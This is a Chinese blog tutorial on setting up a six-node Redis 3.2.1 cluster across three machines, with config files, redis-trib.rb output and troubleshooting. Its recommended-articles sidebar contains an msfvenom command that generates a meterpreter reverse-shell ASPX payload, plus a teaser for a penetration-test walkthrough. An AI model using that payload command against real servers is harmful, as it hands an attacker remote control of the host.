Redis集群搭建

最新推荐文章于 2025-07-09 22:34:08 发布
翻译 最新推荐文章于 2025-07-09 22:34:08 发布 · 1k 阅读 · 0
文章标签：

#redis

目录

1、Redis 简介
2、Redis集群搭建
3、Redis 集群搭建问题记录
#详细过程

###1、Redis 简介
Redis 的主从复制技术，当实现了多节点的 master-slave 后，我们也可以把它叫做集群，它主要是利用切片技术来组建的集群。集群要实现的目的是要将不同的 key 分散放置到不同的 redis 节点，这里我们需要一个规则或者算法，通常的做法是获取 key 的哈希值，然后根据节点数来求模，但这种做法有其明显的弊端，当我们需要增加或减少一个节点时，会造成大量的 key 无法命中，这种比例是相当高的，所以就有人提出了一致性哈希的概念。

整体设计包含如下几点：

  • 数据Hash分布在不同的Redis Instatnce上；
  • M/S的切换采用Sentinel；
  • 写：只会写master Instance，从sentinel获取当前的master Instane；
  • 读：从Redis Node中基于权重选取一个Redis Instance读取，失败/超时则轮询其他Instance；
  • 通过RPC服务访问，RPC server端封装了Redis客户端，客户端基于jedis开发；
  • 批量写/删除：不保证事务；

参考：

http://blog.csdn.net/yfkiss/article/details/38944179
http://www.cnblogs.com/zhaoguihua/p/redis-005.html

#####Redis集群搭建准备工作：

准备3台机器，IP地址分别为：

  • 192.168.1.184
  • 192.168.1.203
  • 192.168.1.208
    其中有两台物理机一台虚拟机，192.168.1.208为虚拟机Centos系统，192.168.1.184、192.168.1.203为物理机ubuntu系统；

下载Redis，当前版本为：Redis-3.2.1.tar.gz，将该文件拷贝到以上三台机器的安装目录，然后解压安装到 /srv/redis/ 下，安装过程参考《diq_业务增强镜像配置说明（基于服务器基础镜像制作）》，文档在tower上，链接：

https://tower.im/projects/c7fb7cf9e6fa461a956743fe37e61fbd/todos/4f10f4a6ab5e43f08c416ea35799294b/

###2、Redis集群搭建
####2.1、集群的逻辑结构

要让集群正常工作至少需要3个主节点，在加上Redis的主从架构设计，在这里我们要创建6个redis节点，其中三个为主节点，三个为从节点，对应的redis节点的ip和端口对应关系如下：

  • 192.168.1.184:7000
  • 192.168.1.184:7001
  • 192.168.1.208:7002
  • 192.168.1.208:7003
  • 192.168.1.203:7004
  • 192.168.1.203:7005

这样，设计正好每个机器上两个节点，每个节点对应一个redis.conf文件，启动时每个节点对应自己的配置文件。

####2.2、环境搭建

在192.168.1.184节点上开始做如下工作：

#####1.创建集群文件夹及配置文件redis.conf (带密码认证方式)

创建集群文件夹 /srv/redis_cluster；
创建2个节点配置文件夹 /srv/redis_cluster/7000和 /srv/redis_cluster/7001；
创建节点pidfile配置路径 /srv/run/；
拷贝安装路径下的redis.conf到这2个节点配置文件夹；
然后修改配置文件redis.conf，内容如下：

port 7000
daemonize yes
masterauth 自己的密码
requirepass 自己的密码
cluster-enabled yes
cluster-config-file nodes.conf
cluster-node-timeout 5000
appendonly no
pidfile /srv/run/redis_7000.pid
logfile /data/logs/redis.log
dir /srv/redis_cluster/7000
maxmemory 6gb

######【注意事项】：
(1) redis做内存数据本地持久化的方式有两种： RDB和Aof ，其中
- RDB文件保存过程:
RDB持久化是指在指定的时间间隔内将内存中的数据集快照写入磁盘。
也是默认的持久化方式，这种方式是就是将内存中数据以快照的方式写入到二
进制文件中,默认的文件名为dump.rdb
- AOF文件保存过程:
redis会将每一个收到的写命令都通过write函数追加到文件中(默认是 appendonly.aof)。
当redis重启时会通过重新执行文件中保存的写命令来在内存中重建整个数据
库的内容。当然由于os会在内核中缓存 write做的修改，所以可能不是立即写到磁盘上。这样aof方式的持久化也还是有可能会丢失部分修改。不过我们可以通过配置文件告诉redis我们想要 通过fsync函数强制os写入到磁盘的时机。有三种方式如下（默认是：每秒fsync一次）

appendonly yes //启用aof持久化方式 
# appendfsync always //每次收到写命令就立即强制写入磁盘，最慢的，但是保证完全的持久化，不推荐使用 
appendfsync everysec //每秒钟强制写入磁盘一次，在性能和持久化方面做了很好的折中，推荐 
# appendfsync no //完全依赖os，性能最好,持久化没保证

(2) 由于我们现有的业务不需要把数据持久化到本地磁盘，所以要取消RDB和Aof两种方式。
- RBD的取消以下3个配置
#save 900 1
#save 300 10
#save 60 10000
- Aof的取消以下配置
appendonly no

 取消内存数据持久化的一个原因是持久化的时候会再次启动fork出一个和主进程相同的内存的进程，这样会导致系统内存超限（现有系统总内存为16GB），从而导致系统内存吃紧，以及有可能会导致redis主进程被kill掉。

上面为某一节点redis.conf内容，其他节点配置就不再重复，注意端口和pidfile需要修改；

192.168.1.203、192.168.1.208两节点重复以上工作，即完成集群配置文件的工作。

注意事项： 此处必须修改一个文件，加上密码部分，否则在创建集群后出现异常，见下图：

# vim /usr/local/share/gems/gems/redis-3.3.1/lib/redis/client.rb

#####2.启动Redis集群：

启动方式与正常启动单节点的命令相似，启动时进入 /opt/redis_cluster/7000的配置文件路径下，下面方式启动一个节点：

/opt/redis-3.2.1/bin/redis-server  redis.conf

启动后 /opt/redis_cluster/7000 文件夹下会产生appendonly.aof、nodes.conf，注意这两个文件的产生在启动路径下，所以为了集群的管理，最近进入配置文件夹启动。
其他节点的启动方式与上相同，这里不重复了。

当此时，集群的各节点已经启动完成，但当前各节点尚未建立联系，需要命令将他们联合起来作为一个集群工作，进入某一个节点的终端，进入Redis安装路径 redis-3.2.1/src，使用下面命令建立集群：

./redis-trib.rb create --replicas 1 192.168.1.184:7000 192.168.1.184:7001 192.168.1.208:7002 192.168.1.208:7003 192.168.1.203:7004 192.168.1.203:7005

开始执行：

>>> Creating cluster
>>> Performing hash slots allocation on 6 nodes...
Using 3 masters:
192.168.1.184:7000
192.168.1.208:7002
192.168.1.203:7004
Adding replica 192.168.1.208:7003 to 192.168.1.184:7000
Adding replica 192.168.1.184:7001 to 192.168.1.208:7002
Adding replica 192.168.1.203:7005 to 192.168.1.203:7004
M: a87b0bd7d01184260ebb79f01ebc8c60108c3786 192.168.1.184:7000
   slots:0-5460 (5461 slots) master
S: 9623c893341929d1693674ae74c1c76d5d4e58c5 192.168.1.184:7001
   replicates 8b8c315d4cf7a1ba3d68586c9fdbefac6e58d755
M: 8b8c315d4cf7a1ba3d68586c9fdbefac6e58d755 192.168.1.208:7002
   slots:5461-10922 (5462 slots) master
S: 0ed40b206f5da1a1caf0c8e90917efeba4074594 192.168.1.208:7003
   replicates a87b0bd7d01184260ebb79f01ebc8c60108c3786
M: f16d03c9afa777c0aca78867f81c0da155c21ffa 192.168.1.203:7004
   slots:10923-16383 (5461 slots) master
S: 57f9d16a2d50c55440d47202a2fbfe2901c9f044 192.168.1.203:7005
   replicates f16d03c9afa777c0aca78867f81c0da155c21ffa

提示设置配置信息，选yes回车：

Can I set the above configuration? (type 'yes' to accept): yes
>>> Nodes configuration updated
>>> Assign a different config epoch to each node
>>> Sending CLUSTER MEET messages to join the cluster
Waiting for the cluster to join...
>>> Performing Cluster Check (using node 192.168.1.184:7000)
M: a87b0bd7d01184260ebb79f01ebc8c60108c3786 192.168.1.184:7000
   slots:0-5460 (5461 slots) master
M: 9623c893341929d1693674ae74c1c76d5d4e58c5 192.168.1.184:7001
   slots: (0 slots) master
   replicates 8b8c315d4cf7a1ba3d68586c9fdbefac6e58d755
M: 8b8c315d4cf7a1ba3d68586c9fdbefac6e58d755 192.168.1.208:7002
   slots:5461-10922 (5462 slots) master
M: 0ed40b206f5da1a1caf0c8e90917efeba4074594 192.168.1.208:7003
   slots: (0 slots) master
   replicates a87b0bd7d01184260ebb79f01ebc8c60108c3786
M: f16d03c9afa777c0aca78867f81c0da155c21ffa 192.168.1.203:7004
   slots:10923-16383 (5461 slots) master
M: 57f9d16a2d50c55440d47202a2fbfe2901c9f044 192.168.1.203:7005
   slots: (0 slots) master
   replicates f16d03c9afa777c0aca78867f81c0da155c21ffa
[OK] All nodes agree about slots configuration.
>>> Check for open slots...
>>> Check slots coverage...
[OK] All 16384 slots covered.

到此Redis集群配置完毕，从上面的日志信息，我们可以看出，集群中每个机器上2个节点，一主一从。
也可以使用如下命令查看当前Redis集群的状态：

./redis-trib.rb check  192.168.1.184:7000

该命令后面接的ip:端口，可以是集群中的任意节点。

参考文档：

http://www.linuxidc.com/Linux/2015-08/121845.htm

#####3、集群应用

可以使用客户端连接集群，进行相关的应用测试，连接方式与单节点的连接方式类似，使用redis-cli客户端工具进行连接，进入redis-cli所在路径，命令如下：

./redis-cli -c -h 192.168.1.184 -p 7000

其中，-c 代表集群参数，然后进入提示符：

192.168.1.184:7000>set a b
-> Redirected to slot [15495] located at 192.168.1.203:7004
OK
192.168.1.203:7004> get a
"b"

当set一个key-value时，会占用集群的一个slot，这个slot是在另一个节点192.168.1.203:7004上建立的，同时提示符切入该节点状态，使用get获取a的value为b；到此说明集群已经开始正常工作了。

参考文档：

http://blog.csdn.net/hackerwin7/article/details/43559991

#####4、Redis 集群搭建问题记录
（1）使用redis-trib.rb建立集群关系时问题：

shuzilm@shuzilm:~/Downloads/redis-3.2.1/src$ ./redis-trib.rb create --replicas 1 192.168.1.184:7000 192.168.1.184:7001 192.168.1.203:7002 192.168.1.203:7003 192.168.1.208:7004 192.168.1.208:7005
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require’: cannot load such file – redis (LoadError)

解决：

sudo gem install redis

shuzilm@shuzilm:~/Downloads/redis-3.2.1/src$ ./redis-trib.rb create --replicas 1 192.168.1.184:7000 192.168.1.184:7001 192.168.1.203:7002 192.168.1.203:7003 192.168.1.208:7004 192.168.1.208:7005
>>> Creating cluster
[ERR] Sorry, can't connect to node 192.168.1.184:7000

解决：
注意端口对应关系要正确。

duxin_csdn
关注
nginx配置tcp负载均衡
m0_46392035的博客
05-19 2891
1.历史背景 在服务器快速集群环境搭建中，都迫切需要一个能拿来即用的负载均衡器，nginx在1.9版本之前，只支持http协议web服务器的负载均衡，从1.9版本开始以后，nginx开始支持tcp的长连接负载均衡，但是nginx默认并没有编译tcp负载均衡模块，编写它时，需要加入--with-stream（其实不加也可以，在配置文件里面自己加,下面会介绍）参数来激活这个模块。 2.nginx安装 # 切换至root用户 sudo su root apt-get install nginx #查
python - scapy - arpscanner
Nixawk
05-23 1618
How to get a internal target mac address: 1. Send a ARP request 2. Recv a ARP response, and parse it.With scapy (a powerful packet tool or library), we can create a arp scanner for mac addres
DC-1 靶机渗透测试（拿shell,提权）
single_g_l的博客
03-17 6115
目录 一. 环境 二. 信息收集 1. 主机发现 2.访问 192.168.1.184:80 三. 利用msfconsole 攻击(拿到flag1) 1. 漏洞利用成功 2. 进入会话 ，拿到flag1.txt ---shell ​四. 找到配置文件，获取flag2 五. 修改管理员密码，登录网站，拿到flag3 1. 获取交互式shell， 执行MySQL语句 2. 查看管理员用户 3. 修改管理员密码 六. 用find语句，找到flag4 七. SUID提权，获取...
msfaspx
如鹿渴慕泉水的专栏
11-08 335
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.120.1.184 LPORT=9099 -f aspx>shell.aspx
esp8266 wifi模组入网案例
奋斗的菜鸟博客
07-10 9653
ESP8266可以配置三种模式： station模式 : 0x01 soft-AP模式 : 0x02 soft-AP兼station模式 : 0x03 1、station模式  station模式可以连接其他的路由器，不能被其他的设备连接。 2、soft-AP模式  AccessPoint即网络接入点，可以看成是路由器模式，即可以让其他的WiFi设备连接本模块，但是模块自己就不能连接其他的...
Redis 集群搭建
qq_36838700的博客
07-23 3154
使用 Redis 集群进行扩展 |文档请注意，按预期工作的小集群必须包含 至少三个主节点。对于部署，我们强烈建议 一个六节点集群，包含三个主节点和三个副本。三台服务器各部署一个主节点、一个从节点，同一台服务器上不是直接主从关系。操作系统Centos 7Centos 7Centos 7内核版本主机名称node-01node-02node-03角色IP地址Redis7.2.57.2.57.2.5。
redis集群搭建
睡竹的博客
04-05 2402
redis集群搭建 cluster-require-full-coverage
【Redis 集群搭建】
weixin_43836340的博客
09-23 2849
redis 安装 redis 集群linux 安装
docker 实现redis集群搭建
08-19
"docker 实现redis集群搭建" 一、Redis Cluster 概念 Redis Cluster 是 Redis 的分布式解决方案，旨在解决 Redis 单机中心化的问题。它将整个数据集按照分区规则映射到多个节点上，使得 Redis 能够水平扩展以应对...
redis 集群搭建
09-30
redis 集群搭建 ，单节点，集群搭建，工具包
Redis集群搭建及维护文档.docx
03-31
以下是一份简化的Redis集群搭建步骤： 1. **环境准备**： - 确保你有一个兼容的Linux环境，例如CentOS 7（64位）。 - 下载Redis的源代码包，如redis-4.0.6.tar.gz。 2. **安装Redis单节点**： - 解压Redis源...
Redis 客户端连接
wjs2024的博客
07-09 357
本文介绍了 Redis 客户端连接的相关知识，包括连接协议、连接方式、连接配置和连接管理等方面。了解这些知识有助于我们更好地使用 Redis，提高应用程序的性能和稳定性。在实际应用中，我们需要根据具体场景选择合适的连接方式和配置参数，以确保 Redis 连接的稳定性和高效性。
Redis-哨兵选取主节点流程
最新发布
ybq19513345431的博客
07-09 106
哨兵节点通过心跳包,判定redis服务器是否正常工作,若心跳包没有按时到达,说明redis服务器出现故障了.此时还需要再进行判定,不能排除是网络波动的影响,认为redis节点的出现故障.
Redis中的Pub/Sub、事务、索引、管道、脚本
向前
07-08 631
Redis高级功能摘要 Redis提供多种消息传递和数据处理机制：Pub/Sub实现发布-订阅模式，消息通过频道传递但不保证可靠性；事务支持命令打包执行但缺少原子性和隔离性，需配合WATCH实现乐观锁；索引功能允许基于JSON/HASH字段查询；管道技术优化批量请求处理；Lua脚本确保服务器端原子操作并支持缓存复用。这些功能扩展了Redis作为键值存储的能力，适用于不同场景，但需注意各自的限制，如Pub/Sub消息丢失风险、事务无回滚机制等。
黑马点评系列问题之基础篇16jedis redis依赖引入后仍然还是报错
m0_63695860的博客
07-06 155
依赖已经导入进去了，在仓库里有***.jar和***.pom这两个文件，但是点开右面的maven还是有很多爆红。点击maven里的更新还是不行。右键单击pom.xml文件里的界面，再按下面的图片点击。点到配置文件pom.xml。
Redis基础（6）：SpringDataRedis
Aishangyuwen的博客
07-05 696
SpringData是Spring中专门进行数据操作的模块，包含了对于各种数据库的集成。其中对Redis的集成模块叫做SpringDataRedis（官网地址：Spring Data Redis）。其最核心的特点就是提供了不同Redis客户端的整合：结合了Jedis和Lettuce；提供了RedisTemplate这个统一的操作模板来操作Redis。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值